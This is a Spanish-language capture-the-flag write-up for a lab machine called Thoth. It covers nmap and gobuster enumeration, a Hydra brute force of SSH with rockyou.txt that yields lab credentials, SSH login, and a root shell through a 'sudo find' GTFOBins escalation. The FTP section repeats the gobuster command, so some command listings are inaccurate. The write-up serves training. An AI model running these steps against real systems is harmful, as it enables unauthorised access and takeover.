**Informe Profesional - Máquina CTF Thoth**

**Introducción:**

Este informe detalla las actividades realizadas durante la competencia CTF (Capture The Flag) en la máquina virtual Thoth. El objetivo principal era obtener acceso a la máquina y lograr privilegios de root para tener control total sobre ella. Todas las acciones se llevaron a cabo dentro de un entorno controlado y autorizado, siguiendo los principios éticos y legales establecidos.

**Enumeración de servicios:**

Se realizó un escaneo de puertos utilizando la herramienta Nmap, obteniendo los siguientes resultados:

* Puerto 21/tcp: FTP (vsftpd 3.0.3)
* Puerto 22/tcp: SSH (OpenSSH 8.2p1 Ubuntu 4ubuntu0.2)
* Puerto 80/tcp: HTTP (Apache httpd 2.4.41)

***Comandos:***

* ***nmap -sS -sV <IP>***

**Escaneo y enumeración de directorios:**

Se utilizó la herramienta Gobuster para realizar un escaneo de directorios en el servicio HTTP. Se obtuvieron los siguientes resultados destacados:

**Directorio raíz:**

* /index.html: Archivo accesible con código de estado 200 y tamaño de 10918 bytes.
* /.html y /.php: Acceso prohibido con código de estado 403 y tamaño de 278 bytes.
* /wordpress: Redirección a la ruta /wordpress con código de estado 301 y tamaño de 318 bytes.

**Directorio /wordpress:**

* /wp-content: Redirección a la ruta /wordpress/wp-content con código de estado 301 y tamaño de 329 bytes.
* /license.txt: Archivo accesible con código de estado 200 y tamaño de 19915 bytes.
* /index.php: Archivo accesible con código de estado 200 y tamaño de 22554 bytes.
* /wp-includes: Redirección a la ruta /wordpress/wp-includes con código de estado 301 y tamaño de 330 bytes.
* /wp-login.php: Archivo accesible con código de estado 200 y tamaño de 7887 bytes.
* /readme.html: Archivo accesible con código de estado 200 y tamaño de 7345 bytes.
* /wp-trackback.php: Archivo accesible con código de estado 200 y tamaño de 135 bytes.
* /wp-admin: Redirección a la ruta /wordpress/wp-admin con código de estado 301 y tamaño de 327 bytes.
* /xmlrpc.php: Acceso prohibido con código de estado 405 y tamaño de 42 bytes.

***Comandos:***

* ***gobuster dir -u http://<IP>:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt***

**Análisis del servicio FTP:**

Se encontró un archivo llamado "notes.txt" en el servicio FTP, el cual contiene el siguiente mensaje:

***"Dear pwnlab,***

***My name is jake. Your password is very weak and easily crackable, I think change your password."***

***Se identificaron los posibles usuarios "jake" y "pwnlab" basándose en el contenido del archivo.***

***Comandos:***

* ***gobuster dir -u http://<IP>:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt***

**Cracking de contraseñas en SSH:**

Se utilizó la herramienta Hydra para realizar un ataque de fuerza bruta al servicio SSH, utilizando el archivo de usuarios "users.txt" y la lista de contraseñas "rockyou.txt". El resultado del ataque fue la obtención de las siguientes credenciales:

Usuario: pwnlab

Contraseña: babygirl1

***Comandos:***

* ***hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.20.31 -I***

**Acceso a la máquina con SSH:**

Se utilizó el usuario "pwnlab" y la contraseña "babygirl1" para iniciar sesión en el servicio SSH de la máquina, obteniendo acceso exitoso.

***Comandos:***

* ***ssh pwnlab@<IP>***

**Elevación de privilegios:**

Mediante el comando "sudo -l", se identificó que el usuario "pwnlab" tiene privilegios de ejecución sin contraseña en el comando "/usr/bin/find".

Utilizando la técnica GTFOBins, se ejecutó el comando "sudo find . -exec /bin/sh ; -quit", lo que permitió obtener privilegios de root exitosamente.

***Comandos:***

* ***sudo -l***
* ***sudo find . -exec /bin/sh ; -quit***

**Conclusiones:**

Durante la competencia CTF en la máquina virtual Thoth, se realizaron diversas etapas que incluyeron la enumeración de servicios, el escaneo y enumeración de directorios, el análisis del servicio FTP, el cracking de contraseñas en SSH y la elevación de privilegios. Todas las actividades se llevaron a cabo dentro de los límites éticos y legales establecidos.